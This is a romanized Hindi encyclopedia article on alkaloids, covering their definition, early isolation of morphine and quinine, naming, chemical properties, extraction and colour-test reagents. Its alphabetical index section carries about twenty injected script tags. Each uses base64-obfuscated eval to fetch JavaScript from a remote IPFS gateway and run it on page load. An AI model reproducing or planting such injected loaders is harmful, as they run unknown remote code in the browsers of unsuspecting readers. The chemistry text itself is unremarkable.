ऐलकालाँयड

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ailakalaanyad shabd ka prayog praranbh se hi naitrojan vale karbanik kshariy yaugikoan ke lie kiya gaya tha, kyoanki unake gun ksharoan se milate julate haian. ajakal ailakalayad shabd ka prayog vanaspatiyoan tatha pranijagat mean pae janevale jatil-karbanik-kshariy-padartho ke lie hota hai jo poshakiy drishti se sakriy hote haian. sadharan aimin, aimino aml tatha pyoorin yaugik is samuday mean nahian ate. ailakalayadoan ka chikitsashastr mean b da mahatv hai. anek vanaspatiyoan ke nicho d, jo ailakalayad haian, oshadhiyoan ke roop mean adikal se prayukt hote rahe haian aur inamean se kuchh ka prayog vish ke roop mean bhi hota raha hai.

charls derosne ne sanh‌ 1803 ee mean aphim ke nicho d ko pani se tanu karake ek manibhiy padarth prapt kiya, jisako prithak karane tatha shuddh karane par ek yaugik mila jo sanbhavat: pahala ailakal aauyad narakotin tha. kshariy vilayan ke prayog se usane is prapt padarth ki matra badhane ka prayatn kiya, kiantu is prayas mean use ek doosara ailakal aauyad prapt hua, jo marafin tha. lagabhag usi samay e. aigiyam ne bhi isi vidhi se maraphin banaya. parantu kisi vishesh ailakalayad ko shuddh avastha mean prapt karake usake dharmagunoan ko thik se prastut karane ka shrey ef.dablyoo. e. sartunarr ko hai. usane sanh‌ 1816 ee. mean ek navin karbanik lavan bananevale kshariy padarth maraphin ki prapti ki jisase usane anek lavan banae aur usaki poshakiy abhikriya bhi pradarshit ki. isi bich sanh‌ 1810 ee. mean bi.e. goms ne sinakona ke ailakohaliy nicho d par kshariy vilayan se abhikriya karake ek avakshep prapt kiya, jise usane ailakohal dvara manibhikrit karake sinakonin prapt kiya. sanh‌ 1817 ee. tatha 1840 ee. ke madhy pray: samast mahatvapoorn ailakal aauyad, jaise veratrin, strikanin, paiparin, kvinin,aitropin, kodin adi prapt kar lie ge.

adhikaansh ailakalayadoan ke nam un vanaspatiyoan ke adhar par rakhe ge haian jinase ve prapt kie jate haian. kuchh ke nam unake dvara honevale poshakiy prabhavoan ke anusar rakhe ge haian, jaise marafin ka nam svapnoan ke grik devata marafias ke adhar par rakha gaya hai. kuchh ke nam prasiddh rasayanajnoan ke nam par rakhe ge, jaise pelitarin ka nam phraansisi rasayanajn pelitiyar ke nam par rakha gaya hai. ailakal aauyad vanaspatiyoan ke vibhinn bhagoan mean, jaise patti, chhal, j d, adi mean, pae jate haian. ye kshariy hote haian, at: inamean se adhikaansh kuchh karbanik amloan, jaise auksailik, saksinik, saitrik, mailik tainik adi ke sath lavan roop mean pae jate haian.

sadharanataya ailakal aauyad manibhiy roop mean hote haian aur inamean karban, haidrojan, aksijan tatha naitrojan tatv pae jate haian. parantu nikotin tatha konin jaise kuchh ailakal aauyadoan mean aksijan nahian hota aur ve adhikatar drav roop mean rahate haian. ailakal aauyadoan mean naitrojanavale vishamachakriy kuchh yaugik, jaise piridin, payarol, kvinolin, aisokvinolin, pramukh roop se vidyaman rahate haian aur any moolak tatv ya karban shrriankhalaean inake sath sanyukt rahati haian. ye jal mean adhikatar aviley hote hai, parantu ailakohel,eethar ya klorofarm mean viley hote haian. adhikaansh ailakal aauyad prakashasakriy hote haian. ye karbanik tatha akarbanik amloan ke sath lavan banate haian. pray: adhik matra mean ailakal aauyadoan ka prabhav hanikarak hota hai, parantu kam matra mean ve oshadhiyoan ke roop mean prayukt hote haian. inaka svad k dava hota hai.[1]

vanaspatiyoan se ailakal aauyad nikalane ke lie unako haidroklorik ya salfyoorik aml se, ya amliy aithil ailakohal ke sath pachit kiya jata hai. is kary ke lie ek vishesh mishran ka bhi prayog hota hai, jisamean eethar, ethil ailkohal tatha amoniya nishchit matra mean mile rahate haian. is mishran ko proliyas drav (proliyas fluid) kahate haian.

kuchh abhikarmakoan ke sath ailakal aauyad ek vishesh prakar ka rang ya avakshep banate haian, jinake dvara ye pahachane ja sakate haian. inamean se pramukh ye haian :

erdaman ka abhikarmak–saandr salfayoorik aml jisamean kuchh naitrik aml mila hota hai;

foyadh abhikarmak–saandr salfyoorik aml mean amoniyam malibdet ka 1a vilayan; saandr salfyoorik aml mean sodiyam metavenedet ka vilayan;

meyar abhikarmak–marakayoorik ka potaisiyam ayodaid mean vilayan;

vaiganar abhikarmak–ayodin ka potaisiyam ayodaid mean vilayan

degandraph abhikarmak–potaisiyam-bisamath-ayodaid ka vilayan; tatha

saibalar abhikarmak–kloroplaitinik, kloro aaurik, fasafotangstik ya siliko-tangstik aml ka vilayan.[2]



panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

tika tippani aur sandarbh

  1. ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 282 |
  2. ↑ san.gran.–ti.e. tenari : plaant ailakal aauyad.

sanbandhit lekh

varnamala kramanusar lekh khoj

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  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> b   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> m   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> y   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> r   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> l   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> v   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> s   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> h   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ksh   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah



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